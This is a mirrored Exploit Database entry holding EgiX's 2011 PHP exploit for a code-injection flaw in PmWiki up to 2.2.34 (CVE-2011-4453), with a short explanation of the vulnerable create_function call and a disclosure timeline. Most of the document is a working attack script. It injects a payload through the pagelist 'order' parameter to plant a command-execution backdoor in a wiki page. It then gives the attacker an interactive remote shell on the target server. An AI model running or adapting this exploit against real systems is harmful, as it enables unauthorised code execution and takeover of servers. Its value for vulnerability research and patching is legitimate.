PmWiki 2.2.34 – ‘pagelist’ Remote PHP Code Injection (1)

• Exploit Database
• 15 阅读

• 作者： EgiX
  日期： 2011-11-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/18149/

• <?php
  
  /*
  -------------------------------------------------------------
  PmWiki <= 2.2.34 (pagelist) Remote PHP Code Injection Exploit
  -------------------------------------------------------------
  
  author...............: Egidio Romano aka EgiX
  mail.................: n0b0d13s[at]gmail[dot]com
  software link........: http://www.pmwiki.org/
  affected versions....: from 2.0.0 to 2.2.34
  
  +-------------------------------------------------------------------------+
  | This proof of concept code was written for educational purpose only.|
  | Use it at your own risk. Author will be not responsible for any damage. |
  +-------------------------------------------------------------------------+
  
  [-] vulnerable code in PageListSort() function defined into /scripts/pagelist.php
  
  452.$code = '';
  453.foreach($opt['=order'] as $o => $r) {
  454.if (@$PageListSortCmp[$o]) 
  455.$code .= "\$c = {$PageListSortCmp[$o]}; "; 
  456.else 
  457.$code .= "\$c = @strcasecmp(\$PCache[\$x]['$o'],\$PCache[\$y]['$o']); ";
  458.$code .= "if (\$c) return $r\$c;\n";
  459.}
  460.StopWatch('PageListSort sort');
  461.if ($code) 
  462.uasort($list,
  463. create_function('$x,$y', "global \$PCache; $code return 0;"));
  464.StopWatch('PageListSort end');
  
  Input passed through 'order' parameter of 'pagelist' directive isn't properly sanitized before being used
  in a call to create_function() at line 463. This can be exploited to inject and execute arbitrary PHP code.
  Successful exploitation of this vulnerability might require authentication if the wiki isn't public writable.
  
  [-] Disclosure timeline:
  
  [09/11/2011] - Vulnerability discovered
  [11/11/2011] - Issue reported to http://www.pmwiki.org/wiki/PITS/01271
  [11/11/2011] - Version 2.2.35 released: http://www.pmwiki.org/wiki/PmWiki/ChangeLog#v2235
  [12/11/2011] - CVE number requested
  [15/11/2011] - Assigned CVE-2011-4453
  [23/11/2011] - Public disclosure
  
  */
  
  error_reporting(0);
  set_time_limit(0);
  ini_set("default_socket_timeout", 5);
  
  function http_send($host, $packet)
  {
  if (!($sock = fsockopen($host, 80)))
  die("\n[-] No response from {$host}:80\n");
   
  fputs($sock, $packet);
  return stream_get_contents($sock);
  }
  
  print "\n+------------------------------------------------------------+";
  print "\n| PmWiki <= 2.2.34 Remote PHP Code Injection Exploit by EgiX |";
  print "\n+------------------------------------------------------------+\n";
  
  if ($argc < 3)
  {
  print "\nUsage......: php $argv[0] <host> <path>\n";
  print "\nExample....: php $argv[0] localhost /";
  print "\nExample....: php $argv[0] localhost /pmwiki/\n";
  die();
  }
  
  $host = $argv[1];
  $path = $argv[2];
  
  $phpcode = "']);error_reporting(0);passthru(base64_decode(\$_SERVER[HTTP_CMD]));print(___);die;#";
  $payload = "action=edit&post=save&n=Cmd.Shell&text=(:pagelist order={$phpcode}:)";
  
  $packet= "POST {$path}pmwiki.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($payload)."\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Connection: close\r\n\r\n{$payload}";
  
  if (!preg_match("/Location/", http_send($host, $packet))) die("\n[-] Edit password required?!\n");
  
  $packet= "POST {$path}pmwiki.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Cmd: %s\r\n";
  $packet .= "Content-Length: 11\r\n";
  $packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $packet .= "Connection: close\r\n\r\nn=Cmd.Shell";
  
  while(1)
  {
  print "\npmwiki-shell# ";
  if (($cmd = trim(fgets(STDIN))) == "exit") break;
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/\n\r\n(.*)___/s", $response, $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
  }
  
  ?>